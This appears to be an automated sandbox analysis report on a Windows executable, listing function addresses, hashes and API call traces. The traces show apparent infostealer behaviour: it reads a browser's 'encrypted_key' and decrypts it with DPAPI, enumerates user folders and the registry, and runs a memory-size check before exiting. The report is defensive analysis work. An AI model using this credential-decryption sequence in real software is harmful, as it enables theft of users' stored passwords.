Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: d4db36429f90b718e22daca015467a858ebeea603ee9fe30967bea3d45dd3f7a
Instruction ID: 29de2a712fc1e2dfcbf32ad4341a25eb625067ccdef54b7492a2b75d077fe01c
Opcode Fuzzy Hash: d4db36429f90b718e22daca015467a858ebeea603ee9fe30967bea3d45dd3f7a
Instruction Fuzzy Hash: 1841B8B69001086BDB24EBA0DC46FEE733DAB88304F00895DB619561D1FEB957CC8BD5

Function 00413070 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413098

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

strtok_s.MSVCRT ref: 004131E1

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02655988,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 98edfa6be4662bc282673de7511963f9b2243bdf7a743618d51fefa7ebfdf240
Instruction ID: 79a306a9ddce9c6cdb539d8aaa48a82ffdeeeca754e5da37ea89086183b8fd1c
Opcode Fuzzy Hash: 98edfa6be4662bc282673de7511963f9b2243bdf7a743618d51fefa7ebfdf240
Instruction Fuzzy Hash: 87416371E01108ABCB04EFE5DC89AEEB774BF44314F00801EE51677251DB78AA95CF9A

Function 00409A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
LocalFree.KERNEL32(00410127), ref: 00409AE0
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: 2dddbfb2c0619b2a6c579a249d01c1d9c1681de6d9b22ca5e1b21f04b3ff7f38
Instruction ID: 9a616c59c25f48dda5b41b64f2eda75996ce8e2783f016847e561ac14b63f668
Opcode Fuzzy Hash: 2dddbfb2c0619b2a6c579a249d01c1d9c1681de6d9b22ca5e1b21f04b3ff7f38
Instruction Fuzzy Hash: 5D310AB4A00209EFDB24CF95C895BAE7BB5BF48314F108169E911A73D0D778AD41CFA5

Function 00414260 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,026795D0), ref: 004142BB

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004142E1
lstrcat.KERNEL32(?,?), ref: 00414300
lstrcat.KERNEL32(?,?), ref: 00414314
lstrcat.KERNEL32(?,02659C70), ref: 00414327
lstrcat.KERNEL32(?,?), ref: 0041433B
lstrcat.KERNEL32(?,02679E20), ref: 0041434F

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418830: GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Part of subcall function 00414050: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414060
Part of subcall function 00414050: HeapAlloc.KERNEL32(00000000), ref: 00414067
Part of subcall function 00414050: wsprintfA.USER32 ref: 00414086
Part of subcall function 00414050: FindFirstFileA.KERNEL32(?,?), ref: 0041409D

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: c4aa0a3e78aabed58fec12085c2f0da7f196276ca8538e7cc28443fa9e006273
Instruction ID: 4fb66fc9f0e99d4a69d4435a00fe4e0f35192ff1271240cc59f29c1c24f4a50f
Opcode Fuzzy Hash: c4aa0a3e78aabed58fec12085c2f0da7f196276ca8538e7cc28443fa9e006273
Instruction Fuzzy Hash: 663188B290021CA7CB24FBA0DC85EDD773DAB58708F40459EB60596091EE7897C9CFA8

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction ID: 3a295e2926d3a661784167dae5cc93d3585e5da9a2cb48fc087cd8b2851d2611
Opcode Fuzzy Hash: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction Fuzzy Hash: 8601FBB0D40308BAEB10EBE4DD49B9EBB78AB14705F20809EEA05B62D0D7785585875D

Function 00409D30 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

memcmp.MSVCRT ref: 00409DE2

Part of subcall function 00409BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
Part of subcall function 00409BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
Part of subcall function 00409BB0: memcpy.MSVCRT ref: 00409C16
Part of subcall function 00409BB0: LocalFree.KERNEL32(?), ref: 00409C23

Strings

"encrypted_key":", xrefs: 00409D80
DPAPI, xrefs: 00409DD9
, xrefs: 00409E11

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 596995583-738592651
Opcode ID: c5d85001ada9da0948c4e6a5f2fc00b447c755276a666ca92b756a4a65e0b23d
Instruction ID: 7f392d33d6ad21de2d61bb21213a98381b23072c845d074b64d64ac31095145a
Opcode Fuzzy Hash: c5d85001ada9da0948c4e6a5f2fc00b447c755276a666ca92b756a4a65e0b23d
Instruction Fuzzy Hash: 7A3150B5D00108ABCB04DBE4DC45AEF77B8AF48304F44856AE915B3282E7789E44CBA5

Function 6C6FC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C6FC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C6FC969
GetSystemInfo.KERNEL32(?), ref: 6C6FC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C6FC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C6FC9E2

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 06ff32b9461dfd76d332541a3d3408a5d9d0e3499d0bd75dbcb7cb87bb715c7c
Instruction ID: 37c298aa342429e3c302f400b2a065d61b3759636f0dd5a18938fe648868f7ae
Opcode Fuzzy Hash: 06ff32b9461dfd76d332541a3d3408a5d9d0e3499d0bd75dbcb7cb87bb715c7c
Instruction Fuzzy Hash: 4F210A317013047BDB24AE65CC88BBE737AAF86344F50012EF953A7B40DB7069048794

Function 004178A0 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
HeapAlloc.KERNEL32(00000000), ref: 004178DE
RegOpenKeyExA.KERNEL32(80000002,0265A448,00000000,00020119,?), ref: 004178FE
RegQueryValueExA.KERNEL32(?,02679D60,00000000,00000000,000000FF,000000FF), ref: 0041791F
RegCloseKey.ADVAPI32(?), ref: 00417932

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction ID: 7b98265181db112957e654b40feb51e707849e62a0e01f8308d40af4a82c50e7
Opcode Fuzzy Hash: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction Fuzzy Hash: EB11C1B1A04605AFDB10CF84DD4AFBFBB79FB48B10F10411AF605A7280D7785805CBA5

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction ID: 190bc7a1a7c8d7045dc387aced5cbf31aaec2b72b8248f43f4a0638ea244b090
Opcode Fuzzy Hash: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction Fuzzy Hash: 34013179A40208BFDB10DFE0DC49FAEB779FF48710F108158FA05A7290D6709A05CB50

Function 00410580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0265C8F8), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,0265C9B8), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,0265CA38), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410880, 00410894, 00410643, 0041075B, 00410646, 0041075E, 00410883

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: 90ab964c0dc531ba032bf81562d9941470d02f5ca34dcbbea40b4ce22b4ad946
Instruction ID: dd73e37cf26ee0a5b727ab7f8fa236140303cf2c4538d3aa2ff7e25b79bad790
Opcode Fuzzy Hash: 90ab964c0dc531ba032bf81562d9941470d02f5ca34dcbbea40b4ce22b4ad946
Instruction Fuzzy Hash: E6917775B002089FCB28EF65D995FED7775BF94304F00812EE8099F291DB349A59CB86

Function 004105A5 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0265C8F8), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,0265C9B8), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,0265CA38), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410643, 0041075B, 00410646, 0041075E

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: 73bbdc1410eed1f23f33ab79eb45d233fce07392b759af73c830e1a76a84d9ed
Instruction ID: 4e5c4e7109811dd04489307e57989d734427ebddea2fc0f69e8a4a25ed86313c
Opcode Fuzzy Hash: 73bbdc1410eed1f23f33ab79eb45d233fce07392b759af73c830e1a76a84d9ed
Instruction Fuzzy Hash: 82819775B002089FCB28EF65D995EEDB7B5FF94304F10812DE8099F251DB34AA45CB86

Function 00409FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0265CBB8,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A00D
LoadLibraryA.KERNEL32(02679EA0,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A096

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02655988,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

